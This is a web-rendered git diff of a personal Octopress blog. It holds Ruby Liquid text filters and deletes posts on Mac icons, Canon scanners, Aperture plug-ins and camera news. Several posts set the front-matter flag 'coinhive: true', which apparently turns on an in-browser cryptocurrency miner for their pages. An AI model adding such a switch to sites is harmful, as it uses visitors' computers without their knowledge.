# Improved version of Liquid's truncatewords:
|
||||
# - Uses typographically correct ellipsis (…) insted of '...'
|
||||
def truncatewords(input, length)
|
||||
truncate = input.split(' ')
|
||||
if truncate.length > length
|
||||
truncate[0..length-1].join(' ').strip + ' …'
|
||||
else
|
||||
input
|
||||
end
|
||||
end
|
||||
|
||||
# Condenses multiple spaces and tabs into a single space
|
||||
def condense_spaces(input)
|
||||
input.gsub(/\s{2,}/, ' ')
|
||||
end
|
||||
|
||||
# Removes trailing forward slash from a string for easily appending url segments
|
||||
def strip_slash(input)
|
||||
if input =~ /(.+)\/$|^\/$/
|
||||
input = $1
|
||||
end
|
||||
input
|
||||
end
|
||||
|
||||
# Returns a url without the protocol (http://)
|
||||
def shorthand_url(input)
|
||||
input.gsub /(https?:\/\/)(\S+)/ do
|
||||
$2
|
||||
end
|
||||
end
|
||||
|
||||
# Returns a title cased string based on John Gruber's title case http://daringfireball.net/2008/08/title_case_update
|
||||
def titlecase(input)
|
||||
input.titlecase
|
||||
end
|
||||
|
||||
end
|
||||
Liquid::Template.register_filter OctopressLiquidFilters
|
||||
@ -1,36 +0,0 @@
|
||||
class String
|
||||
def titlecase
|
||||
small_words = %w(a an and as at but by en for if in of on or the to v v. via vs vs. ezeep)
|
||||
|
||||
x = split(" ").map do |word|
|
||||
# note: word could contain non-word characters!
|
||||
# downcase all small_words, capitalize the rest
|
||||
small_words.include?(word.gsub(/\W/, "").downcase) ? word.downcase! : word.smart_capitalize!
|
||||
word
|
||||
end
|
||||
# capitalize first and last words
|
||||
x.first.to_s.smart_capitalize!
|
||||
x.last.to_s.smart_capitalize!
|
||||
# small words are capitalized after colon, period, exclamation mark, question mark
|
||||
x.join(" ").gsub(/(:|\.|!|\?)\s?(\W*#{small_words.join("|")}\W*)\s/) { "#{$1} #{$2.smart_capitalize} " }
|
||||
end
|
||||
|
||||
def titlecase!
|
||||
replace(titlecase)
|
||||
end
|
||||
|
||||
def smart_capitalize
|
||||
# ignore any leading crazy characters and capitalize the first real character
|
||||
if self =~ /^['"\(\[']*([a-z])/
|
||||
i = index($1)
|
||||
x = self[i,self.length]
|
||||
# word with capitals and periods mid-word are left alone
|
||||
self[i,1] = self[i,1].upcase unless x =~ /[A-Z]/ or x =~ /\.\w+/
|
||||
end
|
||||
self
|
||||
end
|
||||
|
||||
def smart_capitalize!
|
||||
replace(smart_capitalize)
|
||||
end
|
||||
end
|
||||
@ -1,47 +0,0 @@
|
||||
---
|
||||
layout: post
|
||||
|
||||
title: 'HowTo: Changing the image icons in Mac OS X Leopard'
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2008-04-09 13:13:42+00:00
|
||||
wordpress_id: 32
|
||||
category: design
|
||||
coinhive: true
|
||||
tags:
|
||||
- tutorial
|
||||
- osx
|
||||
- macos
|
||||
- icon
|
||||
---
|
||||
|
||||
[](/media/aperturefiletypes.png)After i released my [Aperture File Types icon set](http://www.kremalicious.com/goodies) many of you asked how they can really use these icons for displaying the icons of images on your Mac system. Sadly this isn't as easy as dropping them in [Candybar](http://www.panic.com/candybar) into a well for image icons cause there isn't any well for them. So using other icons as standard file type icons for images is a bit tricky. I discovered two ways of doing it, which involves overwriting resources of Preview.app and Photoshop. So before doing anything I mention in this post, you should make a backup copy of them.
|
||||
|
||||
|
||||
## Changing Preview.app icons
|
||||
|
||||
[](/media/openwithpreview.png)Image icons in Mac OS X doesn't really belong to the system icons. Instead they come from [Preview.app](http://www.apple.com/macosx/features/300.html%23preview) which is the factory default application for viewing images on Mac OS X.
|
||||
|
||||
And since Preview.app is used to show the icons we can find all file type icons for images in Preview.app > Contents > Resources. You get there by right clicking on Preview in your Applications folder and choosing Show Package Contents from the context menu. There you'll find icons in icns-format for bmp, dng, eps, fax, fpx, gif, icns, ico,jp2, jpeg, openexr, pdf, pict, png, pntg, ps, psd, qtif, radiance, raw, sgi, tga, tiff, xbm.
|
||||
|
||||
You can just rename the desired icons from my icon pack in icns-format and replace them in the contents > resources of Preview.app.
|
||||
|
||||
|
||||
|
||||
But, as you can see, Preview doesn’t have an unique icon for all RAW file types. Instead it uses just a generic RAW-icon named RAW.icns.
|
||||
|
||||
[](/media/raw.png)So here’s what you can do: Grab your desired RAW-file icon from my icon package in icns-format. Rename it as RAW.icns. Copy it over to Preview.app > Contents > Resources and overwrite the standard icon. Making a backup copy of Preview.app before doing that is a wise thing here.
|
||||
|
||||
The problem is that from now on every RAW-file is represented by this icon, which is ok if you just use one RAW-format. But it's a problem if you use more than one RAW format.
|
||||
|
||||
## Changing the file type icons of Photoshop
|
||||
|
||||
[](/media/PS_CR2FileIcon.png)A solution to this mess is Photoshop. So this solution just works if you have Photoshop installed. Photoshop does have a unique icon for every RAW-format out there. To confirm that you can choose Adobe Photoshop as Standard Application in the Get Info window and the icon of the file should change instantly.
|
||||
|
||||
So here's the trick: The icons from Photoshop are stored in Adobe Photoshop CS3.app > Contents > Resources. the icon e.g. for .cr2-icons is named PS_CR2FileIcon.icns. Just rename the icons in my pack in the naming scheme used in the Photoshop Resources and replace them.
|
||||
|
||||
|
||||
|
||||
Hope this helps you although it's very tricky. But changing icons for images in Mac OS X is a bit out of my control since i don't develop Mac OS X.
|
||||
|
||||
By the way, this should also work in Tiger...
|
||||
@ -1,17 +0,0 @@
|
||||
---
|
||||
layout: post
|
||||
|
||||
title: Apple releases plugin-SDK for Aperture 2.1
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2008-04-22 05:58:41+00:00
|
||||
wordpress_id: 42
|
||||
categories:
|
||||
- photography
|
||||
tags:
|
||||
- aperture
|
||||
---
|
||||
|
||||
Just right after [Tiffen and Digital Film Tools announced](http://www.kremalicious.com/2008/04/first-aperture-adjustment-plugins-have-arrived/) their new image editing plugins for Aperture 2.1 Apple has released the Software Development Kit (SDK) for coding Aperture 2.1 plugins. It's available [from Apple's Developer Connection](https://connect.apple.com/cgi-bin/WebObjects/MemberSite.woa/wa/getSoftware?bundleID=20044) for registered members (registering is free). You can grab the Aperture 2.1 plugin-SDK (3D9) as a 595KB download from there and start coding. If you want to know what exactly you can do with it as a programmer you should [read those lines from Apple](http://developer.apple.com/appleapplications/aperturesdk.html).
|
||||
|
||||
So it should be just a matter of time before we see another bunch of plugins popping out.
|
||||
@ -1,68 +0,0 @@
|
||||
---
|
||||
layout: post
|
||||
|
||||
title: Using the CanoScan LiDE 500F scanner with Mac OS X Leopard
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2008-05-04 16:04:48+00:00
|
||||
|
||||
wordpress_id: 45
|
||||
category: photography
|
||||
coinhive: true
|
||||
tags:
|
||||
- tutorial
|
||||
- osx
|
||||
- macos
|
||||
---
|
||||
|
||||
A while ago I [wrote about my problems](http://www.kremalicious.com/2007/06/finally-a-universal-scanner-driver-for-the-canon-canoscan-lide-500f-for-intel-macs/) finding a universal scanner driver from Canon for my CanoScan LiDE 500F to use it under Mac OS X. The solution was the Canon Asia website where a universal driver version was available. But since then Apple released Mac OS X 10.5 Leopard in october 2007 and the Canon driver with the version 11.2.4.0X stopped working on this new operating system.
|
||||
|
||||
# Finding and downloading the new driver 11.2.5.0X
|
||||
|
||||
But there's a new driver available. It was posted on the Canon USA website on 7 December 2007 and on the Canon Asia website on 28 January 2008. The new version number is 11.2.5.0X for Mac OS X and yes the driver remains a universal scanner driver running fine on both PowerPC- and Intel-Macs.
|
||||
|
||||
The changelog says:
|
||||
|
||||
> Newly supports Mac OS X v10.5.
|
||||
> ScanGear Starter is removed. (Because the operation problem occurs when the destination to save the scan file is changed in Mac OS X v10.5.)
|
||||
|
||||
So this sounds just right. You can download the new universal scanner driver from [Canon USA](http://www.usa.canon.com/consumer/controller?act=ModelInfoAct&tabact=SupportDetailTabAct&fcategoryid=235&modelid=11011#DownloadDetailAct) or [Canon Asia](http://support-asia.canon-asia.com/contents/ASIA/EN/0900321901.html). Following these links takes you right to the driver download page for this scanner.
|
||||
|
||||
[](/media/canondrivercontents.png)You will get a file named lide500fosx11250en.dmg in your downloads folder. Just mount it and double click the package installer inside of the image. If you have a previous version of the driver installed you should remove all parts of it from the system and make a restart to avoid any problems. You can follow my screenshot on the right which shows the contents of the installer package to find all components on your system.
|
||||
|
||||
After the installation is finished you have to restart your Mac (very Mac-unlike) because the package installed a new Kernel extention.
|
||||
|
||||
After a restart you should be able to use the scanner as a TWAIN device all over the system.
|
||||
|
||||
# Using the scanner in Mac OS X Leopard
|
||||
|
||||
|
||||
## Preview / Image Capture
|
||||
|
||||
|
||||
[](/media/scanwindow_preview.png)Leopard included a new version of Preview, the pdf and image-viewing application by Apple and also a new version of Image Capture. To use it with your scanner just plug in the scanner, open Preview and choose File > Import Image or just open the Image Capture application. A new scan window should open doing an automatic overview scan. In the scan window you have some minor options like resolution, scaling etc. You can even make simple but powerful image corrections down at the bottom (set it to manual).
|
||||
|
||||
But the best thing with the new Image Capture is the feature of setting the bit depth of the scanner to 16 bits. This was just possible before through the Canon software ScanGear in Photoshop.
|
||||
|
||||
## Scanning right into Apple Aperture?
|
||||
|
||||
[](/media/aperturescan.png) Wouldn't that be great? Although the scanner is shown as a source in the import dialogue you can't import images with it directly from Aperture. Maybe someone will code a generic scanning plugin for Aperture like VueScan for Aperture or something like that. But I guess this is something just Canon is able to do that and they won't.
|
||||
|
||||
But using Preview/Image Capture and Automator you can bypass this limitation. If you want to know how you can do that have a look at my article [Scan images directly into Apple Aperture](http://www.kremalicious.com/2008/05/scan-images-directly-into-apple-aperture/).
|
||||
|
||||
|
||||
## Adobe Photoshop CS3
|
||||
|
||||
[](/media/scangearwindow.png)Just like with Creative Suite 2 you can use Photoshop to import images with your Scanner by using the Canon ScanGear software which indeed is just the scan window in Photoshop. Just chose File > Import > CanoScan LiDE 500F in Photoshop. If you have installed the driver for the first time the scan window in Photoshop defaults to Simple Mode. But if you want it simple you better chose a Preview/Image Capture workflow. So in Photoshop you should head over to Advanced Mode and check the preferences button down at the bottom first.
|
||||
|
||||
[](/media/scangear_color.png)Under the Color Settings tab you should set your preferred color management options.
|
||||
|
||||
Under the Scan tab you should enable 48/16 bit Output to enable scanning your images with a depth of 16 bit just like the RAW images from your dslr or digital camera. Click OK to save your preferences.
|
||||
|
||||
Another task you should do before scanning the first time with this driver is calibrating your scanner. You can find it in the image settings section where you'll have to click on the double triangle to reveal the options for calibrating. Just click Calibrate and wait until it's finished.
|
||||
|
||||
Now you can set your scanning preferences and start scanning into Photoshop. Don't forget to chose Color(48Bit) in the Color Mode dropdown menu for 16 bit scanning.
|
||||
|
||||
|
||||
|
||||
The advantage of this last workflow with Photoshop and ScanGear is more control over the scanner and therefore more control of the way your images will look right after the scan. If you want simplicity do it the OSX way by using Preview/Image Capture and simply automate it with Automator to serve your scanned images to your preferred application.
|
||||
@ -1,38 +0,0 @@
|
||||
---
|
||||
layout: post
|
||||
|
||||
title: Scan images directly into Apple Aperture
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2008-05-05 04:15:11+00:00
|
||||
wordpress_id: 46
|
||||
category: photography
|
||||
coinhive: true
|
||||
tags:
|
||||
- aperture
|
||||
- tutorial
|
||||
- osx
|
||||
- macos
|
||||
---
|
||||
|
||||
Wouldn't that be great? Hook up your scanner, fire up Aperture, click on Import and the images coming directly from your scanner plate? Although my scanner is shown as a source in the import dialogue you can't import images with it directly from Aperture. But using Preview/Image Capture and Automator you can bypass this limitation. So here's what you can do to scan directly into Aperture in 3 simple steps.
|
||||
|
||||
In the Image Capture scan window you can define an automatic task which will follow the scan process. It defaults to Preview meaning that the scanned image will open as a new Preview document after the scan. But we can make the images import to Aperture after the scan just with tools which are build into Mac OS X and come with every Mac (besides Aperture).
|
||||
|
||||
# 1. Make an Automator action
|
||||
|
||||
Open up Automator and click on the photos library item. Find the Aperture action "Import Photos" and drag and drop it on the workflow field. Then you can chose your desired project or a new project for the scanned images to appear. I have a project for all new images called @Review so I chose that one as my target project. You can set a referenced import or the deletion of your source images as well. If you want to chose the desired project or any of the other preferences every time you're scanning you have to activate "Show this action when the workflow runs" in the Options of this action.
|
||||
|
||||
To make it a bit cooler we can assign one or more keywords to our scanned images automatically. Just drag and drop the "Assign keywords to images" action and add a keyword like "Scan" or something like that. Finally we can set some usual IPTC-tags with the "Set IPTC Tags" action. In the end you should have something like this (click to zoom):
|
||||
|
||||
[](/media/apertureimport_automator.png)
|
||||
|
||||
# 2. Save it as a plug-in for Image Capture
|
||||
|
||||
[](/media/apertureimportplugin.png)Now we're going to save the whole workflow we clicked together. But instead of saving it as a general workflow chose File > Save as Plug-in. Type in a name like "Import to Aperture" and chose Image Capture from the dropdown menu and click save. Now your workflow has become a freshly new plug-in of the Image Capture application. If you ever want to delete, edit or just backup your Image Capture Plugins you can find them in your user folder library under /Workflows/Applications/Image Capture.
|
||||
|
||||
# 3. Scanning and have fun
|
||||
|
||||
[](/media/apertureimport_automatic.png)Plug in your scanner and open up Image Capture. A new scan window should open with your connected scanner as source. Now we have to define our freshly created plug-in as a task which will run after the image was scanned. Just chose your freshly created workflow from the Automatic Task dropdown menu and there you have it. So after you hit the scan button our freshly created workflow will run after the scan.
|
||||
|
||||
Just be creative with Automator. You can set up a lot of workflows for every thinkable scanning task and you can even backup your scanned images before or after importing them to Aperture by copying them into a new burn folder or make an archive from them which also could be automatically saved to a web server and so on...
|
||||
@ -1,18 +0,0 @@
|
||||
---
|
||||
layout: post
|
||||
|
||||
title: 'New Canon stuff: Digital Rebel XS/EOS 1000D/Kiss F And Speedlite 430EX II
|
||||
announced'
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2008-06-25 16:41:59+00:00
|
||||
wordpress_id: 78
|
||||
categories:
|
||||
- photography
|
||||
---
|
||||
|
||||
After the latest Digital Photo Professional update (DPP 3.4.1.1) [revealed some evidence about an upcoming Canon EOS Rebel XS/1000D](http://www.bobatkins.com/photography/digital/canon_xs_1000D_dpp34.html), Canon finally introduced this new entry-level DSLR this month. The [EOS Digital Rebel XS/1000D/Kiss F](http://www.canon-europe.com/For_Home/Product_Finder/Cameras/Digital_SLR/EOS_1000D/index.asp) ([full product specifications](http://www.canon-europe.com/For_Home/Product_Finder/Cameras/Digital_SLR/EOS_1000D/index.asp?specs=1)) is technically a hybrid between hardware and features found in Canon's entry-level cameras from the past: the 7-point autofocus system comes from the XT/350D, the Digic III processor is the same as in the XSi/450D and the Live View feature is implemented with the same features as found in the XSi/450D.
|
||||
|
||||
With this DSLR Canon seems to open up a new class in their EOS system which is somehow below the former entry level cameras (XT/350D, XTi/400D) and the latest entry-level XSi/450D. It's priced 200$ below Canons current or former entry-level DSLR XSi/450D and you can find a nice first review of this new DSLR [over at Digital Photography Review](http://www.dpreview.com/previews/Canon_1000D/).
|
||||
|
||||
[](/media/speedlite430exii.jpg)Canon also introduced the new midrange Speedlite 430EX II, replacing the 430EX flash unit. This new Speedlite is now fully configurable with the Camera's LCD menu and it got now a metal shoe. According to [Canon](http://www.canon.co.uk/press_centre/press_releases/cameras_accessories/speedlite_430ex_ii_press_release.asp) the 430EX II also boasts 20% faster recycling times and is more silent while doing this. In Europe and in the USA the Speedlite should be available from the end of July.
|
||||
@ -1,19 +0,0 @@
|
||||
---
|
||||
layout: post
|
||||
|
||||
title: 'New Aperture Plug-In: Nik announces Silver Efex Pro'
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2008-07-11 19:13:16+00:00
|
||||
wordpress_id: 86
|
||||
categories:
|
||||
- photography
|
||||
tags:
|
||||
- aperture
|
||||
---
|
||||
|
||||
Beside a new version of Color Efex Pro for Capture NX, Nik announced a brand new plug-in for Photoshop and Aperture. [Silver Efex Pro](http://www.niksoftware.com/silverefexpro/usa/entry.php) is a tool to create black & white images with the power and simplicity of the U-Point technology. You can easily fine tune portions of your black & white images. It's also capable of emulating film grain and 18 different types of film while also providing 20 one-click preset styles. But Silver Efex Pro is also capable of color toning the image.
|
||||
|
||||
[](/media/nik_silverefex.png)
|
||||
|
||||
You can get a [15-day trial from Nik's website](http://www.niksoftware.com/site/cont_index.php?nav_top=367&cms_child=__demo&productId=262). It can be purchased through Nik's online store for US$199.95.
|
||||
@ -1,29 +0,0 @@
|
||||
---
|
||||
layout: post
|
||||
|
||||
title: Canon EOS 50D And New Lens Officially Announced
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2008-08-28 11:28:33+00:00
|
||||
wordpress_id: 168
|
||||
categories:
|
||||
- photography
|
||||
---
|
||||
|
||||
[](/media/eos_50D_front.png)The successor of the EOS 40D is (almost) here: Canon [officially announced](http://www.usa.canon.com/templatedata/pressrelease/20080826_eos50d.html) the Canon EOS 50D along with the new lens Canon EF-S 18-200/3.5-5.6IS. The EOS 50D and the new lens will be both available in October 2008, Canon says.
|
||||
|
||||
The EOS 50D comes with an CMOS APS-C sized sensor (crop factor 1.6) with 15.1 megapixels. Being Canons first DSLR with the new DIGIC 4 image processor the EOS 50D can burst 6.3 shots per second with improved image quality.
|
||||
|
||||
<!-- more -->
|
||||
|
||||
The "EOS Integrated Cleaning Systems" gets a new fluorine layer and now works in three steps to clean the sensor. With 35 metering zones and 9 cross type Autofocus zones the Autofocus specifications are the same as found in the EOS 40D.
|
||||
|
||||
[](/media/eos_50D_back.png)The basic ISO range goes from 100 - 3200 while those values can be "boosted" to ISO 6400 and 12800. The integrated noise reduction can be adjusted in four grades. The LCD display is now 3 inches big with 920,000 pixels (VGA) with a Live View Mode.
|
||||
|
||||
The EOS 50D is prized at US$1399 (1299€) for just the body and it will be available as a kit with the EF 28-135 3.5-5.6 IS USM for US$1599.
|
||||
|
||||
If you're interested in all the details and specifications have a look at [Bob Atkins article about the official announcement of the EOS 50D](http://www.bobatkins.com/photography/digital/canon_eos_50D.html).
|
||||
|
||||
[](/media/efs_18-200.png)Along with the EOS 50D Canon announced the EF-S 18-200 3.5-5.6 IS as a new lens. The lens is intended for use with an APS-C sized sensor and insists of 16 elements (UD-glass and aspherical lenses) arranged in 12 groups. As the name says the EF-S 18-200 3.5-5.6 IS comes with an image stabilizer but somehow misses an USM ring motor which is quite strange for a lens of a prize of US$699 (599€).
|
||||
|
||||
All the specifications for this new lens are available in [an article by Bob Atkins](http://www.bobatkins.com/photography/reviews/canon_efs_18-200_is.html) too.
|
||||
@ -1,32 +0,0 @@
|
||||
---
|
||||
layout: post
|
||||
|
||||
title: MomCorp Wallpaper
|
||||
image: Teaser-MomCorp-Wall.png
|
||||
download: momcorp_wall_by_kremalicious.zip
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2010-07-03 17:12:53+00:00
|
||||
wordpress_id: 1453
|
||||
category: goodies
|
||||
tags:
|
||||
- wallpaper
|
||||
- futurama
|
||||
|
||||
coinhive: true
|
||||
---
|
||||
|
||||
The recent Futurama episode [Attack of the Killer App](http://en.wikipedia.org/wiki/Attack_of_the_Killer_App) mocked a phone and a company you probably all have heard of. I've made some wallpapers with the logo of MomCorp presented everywhere in this episode.
|
||||
|
||||
The wallpaper comes in four versions with two color variations and two text variations with Mom's favorite tagline. Here's an overview:
|
||||
|
||||
|
||||
|
||||
## Download
|
||||
|
||||
You can grab the full zip-package with versions for Desktop, iPad, iPhone & Android included:
|
||||
|
||||
<p class="content-download">
|
||||
<a class="btn-primary icon-download" href="/media/momcorp_wall_by_kremalicious.zip">Download</a>
|
||||
<a href="http://krlc.us/givecoffee" class="icon-heart">Donate</a>
|
||||
</p>
|
||||
@ -1,19 +0,0 @@
|
||||
---
|
||||
layout: photo
|
||||
|
||||
title: Relaxing Cat
|
||||
image: 7f9397a265d811e1b9f1123138140926_7.jpg
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2012-03-04 08:00:32+00:00
|
||||
wordpress_id: 1729
|
||||
categories:
|
||||
- photos
|
||||
post_format:
|
||||
- Image
|
||||
tags:
|
||||
- instagram
|
||||
- sitamun
|
||||
---
|
||||
|
||||
|
||||
@ -1,18 +0,0 @@
|
||||
---
|
||||
layout: photo
|
||||
|
||||
title: Skeletor
|
||||
image: 6313cc1e7db611e180c9123138016265_7.jpg
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2012-04-03 17:56:49+00:00
|
||||
wordpress_id: 1745
|
||||
categories:
|
||||
- photos
|
||||
post_format:
|
||||
- Image
|
||||
tags:
|
||||
- instagram
|
||||
---
|
||||
|
||||
|
||||
@ -1,18 +0,0 @@
|
||||
---
|
||||
layout: photo
|
||||
|
||||
title: Train Station Leipzig
|
||||
image: de2ac24c7db911e1b9f1123138140926_7.jpg
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2012-04-03 18:21:44+00:00
|
||||
wordpress_id: 1747
|
||||
categories:
|
||||
- photos
|
||||
post_format:
|
||||
- Image
|
||||
tags:
|
||||
- instagram
|
||||
---
|
||||
|
||||
|
||||
@ -1,18 +0,0 @@
|
||||
---
|
||||
layout: photo
|
||||
|
||||
title: Current Sushi Status
|
||||
image: aff38e2c7f5311e1b10e123138105d6b_7.jpg
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2012-04-05 19:15:20+00:00
|
||||
wordpress_id: 1731
|
||||
categories:
|
||||
- photos
|
||||
post_format:
|
||||
- Image
|
||||
tags:
|
||||
- instagram
|
||||
---
|
||||
|
||||
|
||||
@ -1,18 +0,0 @@
|
||||
---
|
||||
layout: photo
|
||||
|
||||
title: Buna
|
||||
image: 44af28f2805b11e18cf91231380fd29b_7.jpg
|
||||
author: Matthias Kretschmann
|
||||
|
||||
date: 2012-04-07 02:42:08+00:00
|
||||
wordpress_id: 1733
|
||||
categories:
|
||||
- photos
|
||||
post_format:
|
||||
- Image
|
||||
tags:
|
||||
- instagram
|
||||
---
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user